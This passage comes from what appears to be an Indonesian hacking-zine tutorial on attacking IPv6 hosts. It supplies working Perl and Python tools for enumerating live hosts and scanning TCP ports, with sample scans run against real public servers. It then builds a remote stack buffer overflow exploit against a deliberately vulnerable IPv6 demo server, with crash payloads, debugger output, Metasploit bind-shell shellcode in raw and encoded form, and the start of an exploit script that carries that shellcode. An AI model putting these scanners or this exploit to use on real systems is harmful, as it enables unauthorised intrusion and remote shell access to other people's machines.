$c8,$iface);}else{ printf ("%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c

8);}

} } } } } } }}

#End of routine main

Untuk membuat daftar list alamat IPv6 perhatikan cara pernggunaan kodedi atas sesuai petunjuk pada USAGE. Jika anda bingung itu tugas andamempelajari bagaimana kode ini bekerja. File yang dibuat olehbuildipv6.pl disimpan pada file 'ipv6.out' yang isinya kurang lebihsebagai berikut:

2001:44B8:8020:F501:250:56FE:FEB3:66312001:44B8:8020:F501:250:56FE:FEB3:66322001:44B8:8020:F501:250:56FE:FEB3:66332001:44B8:8020:F501:250:56FE:FEB3:6634

Page 13: 40490719-0x01-Ipv6-Attack

2001:44B8:8020:F501:250:56FE:FEB3:66352001:44B8:8020:F501:250:56FE:FEB3:66362001:44B8:8020:F501:250:56FE:FEB3:6637(dst)

Langkah selanjutnya adalah mencari tahu/menemukan IPv6 mana saja yang hidup/aktif. Gunakan bantuan tools 'isalive6.py' atau 'isalive6.pl'yang juga sudah terbendle pada ipv6-hackit. Tools ini masing-masing ada pada direktori 'ipv6-hackit/python/' dan 'ipv6-hackit/perl/'

#!/usr/bin/env python# isalive6.py is provided by Ph03n1X# Thread is modified from:# Tutorial on Threads Programming with Python by Norman Matloff &# Francis Hsu

import sys,os,re,time,threading

class ping6(threading.Thread): ping6list = [] #Using 10 threads is just too slow. maxthreads = 10 #But increasing this number is bad idea :) evnt = threading.Event() lck = threading.Lock()

def __init__(self,cnt,ip): threading.Thread.__init__(self); self.ip = ip self.status = -1 self.count = cnt

def run(self): logfile = open("isalive6.log","a") pin,pout,perr = os.popen3("ping6 -c2 -s 0 "+self.ip,"r") pin.close() cmdout = pout.readlines() igot = re.search("8 bytes from",cmdout[1]) if igot: print str(self.count)+" : [REACHED] "+self.ip record = str(self.count)+" : [REACHED] "+self.ip+"\n" logfile.write(record) else: print str(self.count)+" : [NOT REACHED] "+self.ip logfile.close() ping6.lck.acquire() ping6.ping6list.remove(self) if len(ping6.ping6list) == ping6.maxthreads-1: ping6.evnt.set() ping6.evnt.clear() ping6.lck.release()

def newthread(count,hst): ping6.lck.acquire() pg6 = ping6(count,hst) ping6.ping6list.append(pg6) ping6.lck.release() pg6.start() newthread = staticmethod(newthread)

Page 14: 40490719-0x01-Ipv6-Attack

def main(): if len(sys.argv) !=2: print "Usage : python " + sys.argv[0] + " <IPv6 List File>" sys.exit(0);

os.unlink("isalive6.log") print time.ctime() n = 1 input = open(sys.argv[1],"r") for host in input: ping6.lck.acquire() if len(ping6.ping6list) >= ping6.maxthreads: ping6.lck.release() ping6.evnt.wait() else: ping6.lck.release() ping6.newthread(n,host.rstrip()) n+=1

for pingle in ping6.ping6list: pingle.join()

print time.ctime() print "Total Host Scanned : %i"%(n)

if __name__ == '__main__': main()

# This code is somewhat buggy when route to the unreachable network

Untuk menggunakan isalive6.py, ketikkan perintah pada shell linux:

python isalive6.py <IPv6 List File>contoh : python isalive6.py ipv6.out

Hasil discovery host yang aktif disimpan pada file 'isalive6.log',sedangkan proses discovery secara keseluruhan ditampilkan pada stdout(monitor).

1 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66312 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66323 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66337 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66374 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66345 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66358 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66386 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66369 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:663910 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:663A19 : [REACHED] 2001:44B8:8020:F501:250:56FF:FEB3:6633

Code isalive6.py di atas saya pikir telalu lambat ditambah lagi maximumthread hanya 10 yang membuat proses pencarian IPv6 live host menjaditidak efektif. Maximum thread hanya saya batasi 10 saja karena denganjumlah thread > 10, kombinasi os.popen3() atau os.popen() dengan threadsering berakibat pada terminasi eksekusi isalive6.py dengan background problem yang sampai saat ini belum saya ketahui (ada yang mau cari tahu?).

Page 15: 40490719-0x01-Ipv6-Attack

Saya mencoba menulis ulang code tersebut dengan library scapy ternyatajuga belum memuaskan bahkan sering terjadi infinite loop pada saatpengiriman ICMPv6 echo request dengansr1(IPv6(dst="xxx")/ICMPv6EchoRequest())

Sebuah cara yang lebih elegan untuk mencari live IPv6 Host di internetyaitu dengan memanfaatkan record DNS IPv6. Sebuah IPv6 Host diwakilioleh record AAAA. Yang saya lakukan berikut ini adalah mencari domain diinternet secara acak dengan bantuan google kemudian di test apakahdomain tersebut memiliki record AAAA. Untuk melakukan kedua aktifitastersebut saya membuat code 'google6.pl' dan 'get4A.sh'. Dengan kedua code tersebut proses pencarian lebih terotomatisasi. Pertama sayamembuat daftar domain dengan google keyword inurl:ipv6.*

perl google6.pl inurl:ipv6.*

Hasil daftar domain dicatat pada file google_log-co.txt dan ditampilkanke stdout kira kira sebagai berikut:

www.ipv6.org.twtunnelbroker.net6bone.informatik.uni-leipzig.dewww.ipv6.orgwww.sixxs.netwww.cisco.comipv6.netgo6.netipv6.he.netwww.cyberciti.bizwww.global-ipv6.net(dst)

code google6.pl adalah sebagai berikut:

#!/usr/bin/perl# google.pl is provided by Ph03n1X

require LWP::UserAgent;use HTTP::Message;use strict;use warnings;#$proxy='http://127.0.0.1:3128';

print "Google Console\n";if(!$ARGV[0]){ print "usage : perl $0 <dork>\n"; exit;}

my $dork=$ARGV[0];my $ua = LWP::UserAgent->new;$ua->timeout(30);$ua->agent("MSIE/6.0 Windows");#$ua->proxy(http => $proxy) if defined($proxy);my $counter=0;my $dataget="";my $result="";my $host="";my $domain="";print "Googling using keyword : $dork\n";

Page 16: 40490719-0x01-Ipv6-Attack

while($result !~ /hasil penyajian/){ my $googleurl="http://www.google.com/search?q=" . $dork . "&hl=id&lr=&start=" . $counter . "&sa=N"; my $grabresponse = $ua->get($googleurl); $counter=$counter+10; if (!($grabresponse->is_success)) { print ($grabresponse->status_line. " [FAILURE]\n"); } else { my @hasil = $grabresponse->as_string; $result="@hasil"; sleep 1; if($result =~ /tak cocok/) { print "no result's found!\n"; exit; } while($result =~ m/<h3 class=r><a href=".*?" .*?/) { $result =~ s/<h3 class=r><a href="(.*?)" .*?/$1/; $host = $1; if ($host =~ m/^http:/){ $host =~ s/http:\/\/(.*?)\//$1/; $domain = $1; } if ($host =~ m/^https:/){ $host =~ s/https:\/\/(.*?)\//$1/; $domain = $1; }

print $domain . "\n"; open(OFILE,">>google_log-co.txt"); print OFILE $domain . "\n"; close(OFILE); } }}print "\nDONE!\n";# End of file

Selanjutnya saya menggunakan 'get4A.sh' mencari domain mana saja yangmemiliki record AAAA. Record AAAA tersebut dicatat dalam file danditampilkan ke stdout. File get4A.sh ada pada direktori 'ipv6-hackit/sh/'sebagai berikut:

#!/bin/sh# This get4A.sh is provided by Ph03n1X

LOGFILE="4A-record.txt";if [ -z "$1" ]then echo "$0 <domain list>" exit;fi

for DOMAIN in `cat $1`do

Page 17: 40490719-0x01-Ipv6-Attack

echo "Digging $DOMAIN (wait)" dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}'; dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}' >> $LOGFILE;done#EOF

Domain yang diketahui memiliki IPv6 dicatat pada file 4A-record.txt yangisinya kurang lebih adalah:

[www.ipv6forum.com.] 2001:a18:1:20::42[www.ipv6ready.org.] 2001:468:603:c001::5[www.ipv6.org.tw.] 2001:c50:ffff:1:21a:92ff:fe43:d665[tunnelbroker.net.] 2001:470:0:63::2[ns2.he.net.] 2001:470:200::2[ns3.he.net.] 2001:470:300::2[ns4.he.net.] 2001:470:400::2[ns5.he.net.] 2001:470:500::2[6bone.informatik.uni-leipzig.de.] 2001:638:902:1::11[www.m.sixxs.net.] 2001:838:1:1:210:dcff:fe20:7c7c[ipv6.net.] 2a00:1188:3:c::80(dst)

Dengan mendapatkan daftar record AAAA dan mengkombinasikannya dengankode buildipv6.pl dan isalive6.py atau isalive6.pl, proses discoveryIPv6 bisa menjadi lebih efektif. Coba anda perhatikan perubahan polaalamat ipv6 pada NS he.net. Paham polanya kan? perhatikan bit 33-48 jikamasih belum mengerti. Gunakan pola ini untuk menyusun range IPv6 addressmenggunakan buildipv6.pl kemudian lakukan enumerasi dengan isalive6.pyatau isalive6.pl.

Saya menggunakan isalive6.pl untuk menentukan host mana saja yang aktifkarena proses enumerasi menggunakan kode ini lebih cepat. Kode initidak menggunakan thread tetapi memanfaatkan fork. Jumlah child prosesyang digunakan adalah 100 buah.

#!/usr/bin/perl# isalive6.pl is provided by Ph03n1X# I use fork() to simplify this code even it is not as effective# as using threading in memory.

use strict;use warnings;use Switch;use POSIX;

my $LOGFILE = "isalive6.log";my $MAX_CHILD = 100;

MAIN:{

my @IPV6LIST;

if(!$ARGV[0]){ print "usage : perl $0 <IPv6 List File>\n"; exit; }

Page 18: 40490719-0x01-Ipv6-Attack

open(LIST,"<$ARGV[0]") or die(); chop(@IPV6LIST=<LIST>); my $len = @IPV6LIST; my $i = 0; my $j = 0; while ($j <= $len){ switch (fork()){ case (0) { doping6($j,$IPV6LIST[$j]);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($i>$MAX_CHILD-2){ wait();$i--; } } } $i++;$j++; }

print "Total Host Scanned : " . $i+1 . "\n"; close(LIST);}

sub doping6{ my($tid,$ipv6host) = @_;

open(OFILE,">>$LOGFILE"); my @pinglist = `ping6 -c2 -s0 $ipv6host`; my $result = "@pinglist";

if($result =~ m/8 bytes from/){ print $tid . " : [REACHED] " . $ipv6host . "\n"; print OFILE "[REACHED]" . $ipv6host . "\n"; }else{ print $tid . " : [NOT REACHED] " . $ipv6host . "\n"; } close(OFILE);

}

Hasil enumerasi IPv6 host yang aktif ditampilkan ke stdout dan disimpandalam file seperti hasil isalive6.py.

Tahap selanjutnya pada proses hacking setelah menemukan host aktifadalah menemukan service/layanan/port yang aktif pada host tersebut.Untuk melakukan scanning port pada IPv6 host, saya membuat dua buah portscanner ditulis dalam kode python dan perl. Port scanner pythonmenggunakan threading untuk mempercepat proses scanning tetapi hanyamensupport alamat IPv6 unicast dan tidak alamat IPv6 link-local. Port scanner perl menggunakan fork untuk mempercepat proses scanning dan mensupport baik alamat IPv6 unicast maupun multicast termasuk link-local.Port scanner tersebut masing-masing ada di ipv6-hackit/perl/tcpscan6.pldan ipv6-hackit/python/tcpscan6.py.

Silakan gunakan kedua port scanner tersebut sesuai kebutuhan anda. Untukselanjutnya saya menggunakan tcpscan6.pl dalam melakukan scanning port.Kode tcpscan6.pl adalah sebagai berikut:

Page 19: 40490719-0x01-Ipv6-Attack

#!/usr/bin/perl# Port scanner tcpscan6.pl coded by Ph03n1X

#cpan IO::Socket::INET6use IO::Socket::INET6;use Getopt::Long;use strict;use warnings;use Switch;use POSIX;

my $MAX_CHILD = 50;my $LOGFILE = "tcpscan6.log";my $i=0;

sub doTcpscan6{ my ($host,$port) = @_; open (WFILE,">>$LOGFILE"); my $s = IO::Socket::INET6->new(PeerAddr => $host, PeerPort => $port, Domain => AF_INET6, Timeout => 5); if($s){ print "[OPEN] $host on $port\n"; print WFILE "[OPEN] $host on $port\n"; }else{ print "[CLOSE/FIREWALL] $host on $port\n"; } close(WFILE);}

sub doFork{ my ($host,$port,$count) = @_; switch(fork()){ case (0) { doTcpscan6($host,$port);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($port>$MAX_CHILD-2){ wait();$count--; } } }}

sub usage{ print " TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200 \n";}

Page 20: 40490719-0x01-Ipv6-Attack

MAIN:{

my @IPV6LIST; if(!$ARGV[0]){ usage(); exit; }

my ($help,$target,$infile,$mport,$rport);

GetOptions( 'help' => \$help, 'target=s' => \$target, 'in-file=s' => \$infile, 'port=s' => \$mport, 'range=s' => \$rport, ) or die "Invalid options!! Try --help for details.\n";

if($help){ usage(); exit; } if($target && $infile){ print "ERROR! Can not use [--target|-t] with [--in-file|-i]\n"; exit; } if($mport && $rport){ print "ERROR! Can not use [--port|-p] with [--range|-r]\n"; exit; } my $count=1; if($target){ if($target =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $target . " is not valid IPv6 address!\n"; exit; } if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($target,$port,$count); $count++; } } if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $i=$lowport;$i<=$highport;$i++){ doFork($target,$i,$count); $count++; } } }

Page 21: 40490719-0x01-Ipv6-Attack

if($infile){ open(RFILE,"<$infile") or die(); chop(@IPV6LIST=<RFILE>); my $len = @IPV6LIST; my $j=0; for($j=0;$j<$len;$j++){ if($IPV6LIST[$j] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $IPV6LIST[$j] . " is not valid IPv6 address!\n"; exit; }

if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($IPV6LIST[$j],$port,$count); $count++; } }

if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $k=$lowport;$k<=$highport;$k++){ doFork($IPV6LIST[$j],$k,$count); $count++; } } } close(RFILE); } #end if infile}

Untuk mengetahui cara menggunakan tcpscan6.pl cukup ketikkan di shelllinux/unix 'perl tcpscan6.pl --help'.

TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200

anto@h4x0r$ cat tcp6.log2001:44B8:8020:F501:250:56FF:FEB3:6633www.jp.freebsd.org10.1.1.254anto@h4x0r$ perl tcpscan6.pl --in-file tcp6.log -r 20-2510.1.1.254 is not valid IPv6 address![CLOSE/FIREWALL] www.jp.freebsd.org on 20[OPEN] www.jp.freebsd.org on 22[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 20[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 21

Page 22: 40490719-0x01-Ipv6-Attack

[CLOSE/FIREWALL] www.jp.freebsd.org on 21[OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22[CLOSE/FIREWALL] www.jp.freebsd.org on 24[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 23[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 24[CLOSE/FIREWALL] www.jp.freebsd.org on 23[CLOSE/FIREWALL] www.jp.freebsd.org on 25[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 25anto@h4x0r$ cat tcpscan6.log[OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22[OPEN] www.jp.freebsd.org on 22anto@h4x0r$ perl tcpscan6.pl --target www.jp.freebsd.org -p 21,22,23,25,80,110[CLOSE/FIREWALL] www.jp.freebsd.org on 21[OPEN] www.jp.freebsd.org on 22[OPEN] www.jp.freebsd.org on 80[CLOSE/FIREWALL] www.jp.freebsd.org on 23[CLOSE/FIREWALL] www.jp.freebsd.org on 25[CLOSE/FIREWALL] www.jp.freebsd.org on 110anto@h4x0r$ cat tcpscan6.log[OPEN] www.jp.freebsd.org on 22[OPEN] www.jp.freebsd.org on 80anto@h4x0r$

Proses scanning port TCP berjalan dengan baik. Hasilnya ditampilkan kestdout dan disimpan dalam file 'tcpscan6.log'. Ipv6-hackit yang saya susunhanya mensupport enumerasi live host dan scanning berbasiskan TCP. Andabisa menciptakan sendiri port scanner berbasiskan SYN packet untuk IPv6dengan memahami apa yang saya paparkan di 'ipv6-hackit/perl/tcpscan6.pl'dan mengkoding ulang kode tersebut menggunakan library scapy pada'ipv6-hackit/test/oport6-syn.py'. Atau anda menginginkan untuk melakukanscanning versi layanan/service ditiap port yang terbuka? Anda bisa menambahkan fungsi recv() untuk mengambil tiap banner dari layanan yang aktif.

Anda bisa juga mengkombinasi scanner pada ipv6-hackit dengan 'nmap -6'untuk berbagai keperluan. Saat ini 'nmap -6' hanya mensupport enumerasilive host dan scanning berbasiskan TCP saja layaknya ipv6-hackit. ToolsIPv6 Scanner yang lain bisa ditemui di internet adalah:

- strobe berjalan di linux- scan6 berjalan di windows- halfscan6 berjalan di linux- netcat6 berjalan di linux (windows?)- thc-ipv6/alive6 berjalan di linux

Proses enumerasi dan scanning host pada IPv6 memang menjadi challangetersendiri karena banyaknya jumlah IPv6 yang mungkin. Oleh karena itu saya rekomendasikan untuk mengkombinasi dan mengcustom setiap tools yang anda gunakan.

--[7]-- Writing Remote Exploit & Shellcoding

IPv6 menggunakan socket yang berbeda dengan IPv4 sehingga exploit yangberedar saat ini di internet tidak bisa digunakan begitu saja untukmengeksploitasi aplikasi/layanan IPv6. Exploit yang ada saat ini bisadiporting sehingga menggunakan socket kompatible IPv6 atau bisa jugadirelay/proxy untuk mengeksploitasi IPv6 melalui IPv4. Hal yangcenderung lebih rumit adalah mengenai shellcode/payload yang digunakan

Page 23: 40490719-0x01-Ipv6-Attack

exploit tersebut. Shellcode harus dikode ulang agar berjalan di IPv6.

Berbagai celah keamanan sering ditemukan pada software sehingga bisadieksploitasi secara remote. Celah kemanan tersebut bisa berupa bufferoverflow(stack/heap), format string, off by one dan lainnya. Exploitasicelah keamanan tersebut sering digunakan untuk mengambil alih komputeryang vulnerable.

--[7.1]-- Exploitasi Stack Based Buffer Overflow

Buffer overflow merupakan celah keamanan yang sudah sangat tua tetapimasih banyak sekali software yang memiliki celah tersebut. Exploitasibuffer overflow pertama kali didokumentasikan oleh aleph1 pada Phrackmagazine issue 49 tahun 1996 [xii]. Aleph1 menjelaskan konsep bufferoverflow dengan sangat baik sehingga tidak perlu bagi saya untukmenjelaskan ulang apalagi tutorial tentang buffer overflow saat inisudah sangat banyak dijumpai di internet baik dalam bahasa inggrismaupun bahasa indonesia.

Sebuah tantangan tersendiri bagi para hacker dalam melakukan exploitasibuffer overflow adalah bagaimana membypass proteksi keamanan yang saatini semakin kompleks. Proteksi terhadap exploitasi stack based bufferoverflow meliputi:

- Non-executable stack, untuk membypassnya digunakan teknik yang dikenal dengan return-to-libc-attack.- Randomized virtual address digunakan oleh hampir semua distro linux saat ini, untuk membypassnya bisa memanfaatkan informasi dari linux-gate.so. [xiii]- Exec-shield digunakan oleh linux redhat dan turunannya, untuk membypassnya silakan mengacu pada artikel yang ditulis oleh inetcop security. [xiv]- Stack-smashing protection (SSP), proteksi buffer overflow dilevel kompiler. Saya belum menemukan referensi yang cukup detail untuk membypass jenis proteksi ini. Ada yang tahu? Bagi referensinya :)

Pada percobaan ini saya menggunakan Ubuntu 8.10 yang default installasinya sudah memproteksi buffer overflow dengan randomized virtual address dan Stack-smashing protection.

Tulisan ini tidak hendak membahas bagaimana membypass proteksi bufferoverflow, tetapi lebih pada bagaimana menulis exploit remote bufferoverflow pada layanan yang berjalan di IPv6. Oleh karena itu sayamendisable kedua fitur security tersebut dengan cara sebagai berikut:

sysctl kernel.randomize_va_space=0 (Disable randomize VA)gcc -fno-stack-protector (Disable stack-smashing protection)

Pada dasarnya proses exploitasi remote buffer overflow pada IPv4 danIPv6 cenderung sama. Yang membedakan adalah socket dan shellcode yangdigunakan. Untuk mengilustrasikan proses eksploitasi tersebut, sayamenggunakan kode C yang dibuat vulnerable sebagai berikut:

//server-demo6.c#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <stdio.h>#include <netdb.h>

Page 24: 40490719-0x01-Ipv6-Attack

#include <string.h>#include <stdlib.h>#define PORT "55555"

int readbuff(char *str){ char got[200]; strcpy(got,str); printf("MSG = %s\n",got); return 0;}

int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans; int code, s, s2, len, retval; char buff[1024];

memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0;

retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } send(s2,"IPv6 Demo Server v0.01\n\r",32,0); recv(s2,buff,sizeof(buff),0); readbuff(buff); close(s2); } freeaddrinfo(ans); exit(0);}

Pada fungsi readbuff(), variable 'got' didefinisikan sebagai array denganukuran 200 bytes. Fungsi strcpy() melakukan pengcopy-an isi variable 'str' ke variable 'got' tanpa melakukan pengecekan ukuran variable'str'. Dari fungsi main(), readbuff() dipanggil dengan menambahkanparameter berupa variable 'buff' yang nilainya bisa diubah ubah oleh

Page 25: 40490719-0x01-Ipv6-Attack

user. Nilai 'str' pada fungsi readbuff() merupakan nilai 'buff' padafungsi main(). Ketika user menginputkan string lebih dari 200 bytes ke variable 'buff', ukuran variable 'got' tidak mencukupi jumlah stringtersebut. Kondisi inilah yang dikenal dengan buffer overflow.

gcc -o server-demo6 -fno-stack-protector server-demo6.cgdb -q ./server-demo6(gdb) rStarting program: /home/anto/k-elektronik/code/exploit/server-demo6

Kompile file IPv6 server demo tersebut menggunakan 'gcc', kemudian lakukan debugging menggunakan 'gdb'. Proses ini saya lakukan darikomputer dengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5401/64.Ketika IPv6 server demo itu dijalankan, dia membuka layanan di port 55555/tcp. Untuk selanjutnya komputer ini saya sebut dengan PCSERV.

Proses exploitasi PCSERV saya lakukan dari komputer lain dijaringandengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403/64. Untukselanjutnya komputer ini saya sebut dengan PCATTCK.

PCATTCK attack~> sudo apt-get install netcat6attack~> echo AAAAAAA|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555IPv6 Demo Server v0.01attack~> echo `perl -e 'print "A"x250'`|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555IPv6 Demo Server v0.01

PCSERV

(gdb) rStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = AAAAAAAxæü =MSG = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿4è

Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0x0 0ecx 0x0 0edx 0xb7fd10d0 -1208151856ebx 0xb7fcfff4 -1208156172esp 0xbffff7b0 0xbffff7b0ebp 0x41414141 0x41414141esi 0x8048830 134514736edi 0x8048580 134514048eip 0x41414141 0x41414141eflags 0x10292 [ AF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0

Page 26: 40490719-0x01-Ipv6-Attack

gs 0x33 51

PCATTCK menginstall netcat dengan support IPv6, pertama PCATTCKmengirimkan 7 bytes karakter A dan diterima PCSERV. Selanjutnya PCATTCKmengirimkan 250 bytes karakter A dan diterima PCSERV dalam kondisicrash. Gdb menunjukkan bahwa register EIP teroverwrite oleh karakter Atersebut (A dalam hexal 0x41).

Untuk mengeksploitasi lebih jauh, kita harus mengetahui offset programyang vulnerable. Untuk mengetahui offset program, kita bisa menggunakantools pada metasploit yaitu tools/pattern_create.rb dan tools/pattern_offset.rb. Untuk program sederhana di atas anda bisa mengetahuinilai offset tanpa harus repot repot yaitu 204.

Setelah mengetahui offset program, selanjutnya adalah menentukanshellcode yang akan digunakan untuk mengambil alih program tersebut.Metasploit memiliki 3 shellcode dengan support IPv6 untuk linux/x86yaitu:

linux/x86/shell/bind_ipv6_tcp shellcode ini ada dua stage, stage pertama binding pada port TCP, stage kedua mengeksekusi /bin/sh. linux/x86/shell/reverse_ipv6_tcp shellcode ini ada dua stage, stagepertama connect-back pada port TCP melalui IPv6, stage kedua mengeksekusi /bin/sh.

linux/x86/shell_bind_ipv6_tcp shellcode melakukan port binding pada portTCP sekaligus mengeksekusi /bin/sh.

Jika assembly anda cukup keren, buatlah shellcode sendiri untuk memenuhi kebutuhan anda. Pada artikel ini saya menggunakan shellcode linux/x86/shell_bind_ipv6_tcp metasploit.

attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp perl# linux/x86/shell_bind_ipv6_tcp - 90 bytes# http://www.metasploit.com# AppendExit=false, PrependChrootBreak=false,# PrependSetresuid=false, PrependSetuid=false, LPORT=4444,# RHOST=, PrependSetreuid=falsemy $buf ="\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80" ."\x96\x99\x52\x52\x52\x52\x52\x52\x66\x68\x11\x5c\x66\x68" ."\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58" ."\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43" ."\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8" ."\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" ."\x89\xe1\xb0\x0b\xcd\x80";

Shellcode di atas memiliki NULL karakter (\x00) sehingga tidakinjectable. NULL karakter dianggap sebagai terminasi sebuah stringsehingga harus dihilangkan. Untuk itu saya mengencode shellcodetersebut.

attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp R > /tmp/xxhattack~> ./msfencode -i /tmp/xxh -b '\x00' -t perl[*] x86/shikata_ga_nai succeeded with size 118 (iteration=1)

my $buf ="\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" .

Page 27: 40490719-0x01-Ipv6-Attack

"\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" ."\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" ."\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" ."\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" ."\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" ."\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" ."\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" ."\xe3\xef\xd2\x65\x63\x05";

Shellcode hasil encoding memiliki ukuran 118 bytes. Untuk keperluanexploitasi kita harus menentukan alamat register stack (ESP) yang bisadi eksploitasi agar shellcode di atas dieksekusi oleh register EIP.Program kita memiliki offset 204 sehingga kita harus menyusun data untukdikirim ke vulnerable program sebagai berikut:

4 bytes EIP118 bytes shellcode204-118 = 86 bytes NOP (\x90)

---------------------------------------------------- | 86 bytes NOP | 118 bytes shellcode | 4 bytes EIP | ----------------------------------------------------

Dari PCATTCK, kirimkan data tersebut menggunakan dummy eksploit berikutke PCSERV.

#!/usr/bin/perl# Remote Exploit Demo rexploit-demo6.pl by Ph03n1X

use strict;use warnings;#cpan IO::Socket::INET6use IO::Socket::INET6;

if(!$ARGV[1]){ print $0 . " <IPv6 Address> <Port>\n"; exit;}

if($ARGV[0] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $0 . " is not IPv6 family\n"; exit;}

#118 bytes shellcode bind execve on port 4444#encoded with x86/shikata_ga_nai msfmy $shellcode ="\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" ."\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" ."\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" ."\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" ."\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" ."\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" ."\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" ."\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" ."\xe3\xef\xd2\x65\x63\x05";

